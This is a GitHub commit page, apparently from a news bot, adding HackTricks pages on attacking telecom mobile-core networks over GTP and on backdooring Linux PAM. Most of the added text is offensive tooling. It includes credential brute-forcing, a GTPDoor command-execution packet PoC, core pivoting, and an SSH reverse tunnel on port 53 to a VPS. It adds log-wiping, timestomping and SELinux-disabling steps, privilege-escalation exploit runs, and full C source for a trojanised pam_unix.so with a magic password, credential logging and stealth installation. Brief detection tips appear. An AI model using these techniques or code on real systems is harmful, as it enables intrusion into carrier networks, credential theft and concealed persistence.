Skip to content

Commit ab7951e

Browse files
author
HackTricks News Bot
committed
Add content from: The Covert Operator's Playbook: Infiltration of Global Telec...
1 parent 306679d commit ab7951e

File tree

4 files changed

+223
-0
lines changed

4 files changed

+223
-0
lines changed

‎src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,7 @@
2121
- [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md)
2222
- [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md)
2323
- [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md)
24+
- [Telecom Network Exploitation](generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md)
2425
- [WebRTC DoS](generic-methodologies-and-resources/pentesting-network/webrtc-dos.md)
2526
- [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
2627
- [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)

‎src/generic-methodologies-and-resources/pentesting-network/README.md

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -890,6 +890,13 @@ Bettercap broadcast SSDP packets searching for all kind of services (UDP Port 19
890890

891891
Bettercap broadcast WSD packets searching for services (UDP Port 3702).
892892

893+
894+
### Telecom / Mobile-Core (GTP) Exploitation
895+
896+
{{#ref}}
897+
telecom-network-exploitation.md
898+
{{#endref}}
899+
893900
## References
894901

895902
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)

‎src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md

Lines changed: 157 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,157 @@
1+
# Telecom Network Exploitation (GTP / Roaming Environments)
2+
3+
{{#include ../../banners/hacktricks-training.md}}
4+
5+
> [!NOTE]
6+
> Mobile-core protocols (GPRS Tunnelling Protocol – GTP) often traverse semi-trusted GRX/IPX roaming backbones. Because they ride on plain UDP with almost no authentication, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**. The following notes collect offensive tricks observed in the wild against SGSN/GGSN, PGW/SGW and other EPC nodes.
7+
8+
## 1. Recon & Initial Access
9+
10+
### 1.1 Default OSS / NE Accounts
11+
A surprisingly large set of vendor network elements ship with hard-coded SSH/Telnet users such as `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … A dedicated wordlist dramatically increases brute-force success:
12+
13+
```bash
14+
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
15+
```
16+
17+
If the device exposes only a management VRF, pivot through a jump host first (see section «SGSN Emu Tunnel» below).
18+
19+
### 1.2 Host Discovery inside GRX/IPX
20+
Most GRX operators still allow **ICMP echo** across the backbone. Combine `masscan` with the built-in `gtpv1` UDP probes to quickly map GTP-C listeners:
21+
22+
```bash
23+
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
24+
```
25+
26+
## 2. Enumerating Subscribers – `cordscan`
27+
28+
The following Go tool crafts **GTP-C Create PDP Context Request** packets and logs the responses. Each reply reveals the current **SGSN / MME** serving the queried IMSI and, sometimes, the subscriber’s visited PLMN.
29+
30+
```bash
31+
# Build
32+
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
33+
34+
# Usage (typical):
35+
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
36+
```
37+
Key flags:
38+
- `--imsi` Target subscriber IMSI
39+
- `--oper` Home / HNI (MCC+MNC)
40+
- `-w` Write raw packets to pcap
41+
42+
Important constants inside the binary can be patched to widen scans:
43+
44+
```
45+
pingtimeout = 3 // seconds before giving up
46+
pco = 0x218080
47+
common_tcp_ports = "22,23,80,443,8080"
48+
```
49+
50+
## 3. Code Execution over GTP – `GTPDoor`
51+
52+
`GTPDoor` is a tiny ELF service that **binds UDP 2123 and parses every incoming GTP-C packet**. When the payload starts with a pre-shared tag, the remainder is decrypted (AES-128-CBC) and executed via `/bin/sh -c`. The stdout/stderr are exfiltrated inside **Echo Response** messages so that no outward session is ever created.
53+
54+
Minimal PoC packet (Python):
55+
56+
```python
57+
import gtpc, Crypto.Cipher.AES as AES
58+
key = b"SixteenByteKey!"
59+
cmd = b"id;uname -a"
60+
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
61+
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
62+
```
63+
64+
Detection:
65+
* any host sending **unbalanced Echo Requests** to SGSN IPs
66+
* GTP version flag set to 1 while message type = 1 (Echo) – deviation from spec
67+
68+
## 4. Pivoting Through the Core
69+
70+
### 4.1 `sgsnemu` + SOCKS5
71+
`OsmoGGSN` ships an SGSN emulator able to **establish a PDP context towards a real GGSN/PGW**. Once negotiated, Linux receives a new `tun0` interface reachable from the roaming peer.
72+
73+
```bash
74+
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
75+
-APN internet -c 1 -d
76+
ip route add 172.16.0.0/12 dev tun0
77+
microsocks -p 1080 & # internal SOCKS proxy
78+
```
79+
80+
With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the **data plane**.
81+
82+
### 4.2 SSH Reverse Tunnel over Port 53
83+
DNS is almost always open in roaming infrastructures. Expose an internal SSH service to your VPS listening on :53 and return later from home:
84+
85+
```bash
86+
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 [email protected]
87+
```
88+
Check that `GatewayPorts yes` is enabled on the VPS.
89+
90+
## 5. Covert Channels
91+
92+
| Channel | Transport | Decoding | Notes |
93+
|---------|-----------|----------|-------|
94+
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | pure passive listener, no outbound traffic |
95+
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | watches for `*.nodep` sub-___domain |
96+
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | blends with legitimate GTP-C chatter |
97+
98+
All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed.
99+
100+
## 6. Defense Evasion Cheatsheet
101+
102+
```bash
103+
# Remove attacker IPs from wtmp
104+
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
105+
106+
# Disable bash history
107+
export HISTFILE=/dev/null
108+
109+
# Masquerade as kernel thread
110+
echo 0 > /proc/$$/autogroup # hide from top/htop
111+
printf '\0' > /proc/$$/comm # appears as [kworker/1]
112+
113+
touch -r /usr/bin/time /usr/bin/chargen # timestomp
114+
setenforce 0 # disable SELinux
115+
```
116+
117+
## 7. Privilege Escalation on Legacy NE
118+
119+
```bash
120+
# DirtyCow – CVE-2016-5195
121+
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
122+
123+
# PwnKit – CVE-2021-4034
124+
python3 PwnKit.py
125+
126+
# Sudo Baron Samedit – CVE-2021-3156
127+
python3 exploit_userspec.py
128+
```
129+
130+
Clean-up tip:
131+
```bash
132+
userdel firefart 2>/dev/null
133+
rm -f /tmp/sh ; history -c
134+
```
135+
136+
## 8. Tool Box
137+
138+
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections.
139+
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
140+
* `Responder` : LLMNR/NBT-NS rogue WPAD
141+
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
142+
* `FRP` (≥0.37) : NAT traversal / asset bridging
143+
144+
---
145+
## Detection Ideas
146+
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
147+
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
148+
3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons.
149+
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
150+
151+
## References
152+
153+
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
154+
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
155+
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
156+
157+
{{#include ../../banners/hacktricks-training.md}}

‎src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -48,9 +48,67 @@ Controls dictate the module's response to success or failure, influencing the ov
4848

4949
In a setup with multiple auth modules, the process follows a strict order. If the `pam_securetty` module finds the login terminal unauthorized, root logins are blocked, yet all modules are still processed due to its "required" status. The `pam_env` sets environment variables, potentially aiding in user experience. The `pam_ldap` and `pam_unix` modules work together to authenticate the user, with `pam_unix` attempting to use a previously supplied password, enhancing efficiency and flexibility in authentication methods.
5050

51+
52+
## Backdooring PAM – Hooking `pam_unix.so`
53+
54+
A classic persistence trick in high-value Linux environments is to **swap the legitimate PAM library with a trojanised drop-in**. Because every SSH / console login ends up calling `pam_unix.so:pam_sm_authenticate()`, a few lines of C are enough to capture credentials or implement a *magic* password bypass.
55+
56+
### Compilation Cheatsheet
57+
```c
58+
#define _GNU_SOURCE
59+
#include <security/pam_modules.h>
60+
#include <dlfcn.h>
61+
#include <stdio.h>
62+
#include <fcntl.h>
63+
#include <unistd.h>
64+
65+
static int (*orig)(pam_handle_t *, int, int, const char **);
66+
static const char *MAGIC = "Sup3rS3cret!";
67+
68+
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
69+
const char *user, *pass;
70+
pam_get_user(pamh, &user, NULL);
71+
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
72+
73+
/* Magic pwd → immediate success */
74+
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
75+
76+
/* Credential harvesting */
77+
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
78+
dprintf(fd, "%s:%s\n", user, pass);
79+
close(fd);
80+
81+
/* Fall back to original function */
82+
if(!orig) {
83+
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
84+
}
85+
return orig(pamh, flags, argc, argv);
86+
}
87+
```
88+
89+
Compile and stealth-replace:
90+
```bash
91+
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
92+
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
93+
mv pam_unix.so /lib/security/pam_unix.so
94+
chmod 644 /lib/security/pam_unix.so # keep original perms
95+
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
96+
```
97+
98+
### OpSec Tips
99+
1. **Atomic overwrite** – write to a temp file and `mv` into place to avoid half-written libraries that would lock out SSH.
100+
2. Log file placement such as `/usr/bin/.dbus.log` blends with legitimate desktop artefacts.
101+
3. Keep symbol exports identical (`pam_sm_setcred`, etc.) to avoid PAM mis-behaviour.
102+
103+
### Detection
104+
* Compare MD5/SHA256 of `pam_unix.so` against distro package.
105+
* Check for world-writable or unusual ownership under `/lib/security/`.
106+
* `auditd` rule: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`.
107+
51108
### References
52109

53110
- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
111+
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
54112

55113
{{#include ../../banners/hacktricks-training.md}}
56114

0 commit comments

Comments
 (0)